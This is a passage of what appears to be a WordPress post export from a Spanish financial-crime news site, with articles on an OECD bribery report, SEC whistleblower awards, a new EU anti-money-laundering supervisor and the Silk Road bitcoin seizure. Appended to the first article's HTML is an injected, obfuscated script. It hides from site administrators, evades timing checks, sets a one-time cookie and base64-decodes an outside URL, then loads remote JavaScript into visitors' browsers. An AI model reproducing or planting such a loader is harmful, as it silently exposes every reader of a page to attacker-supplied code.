corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de 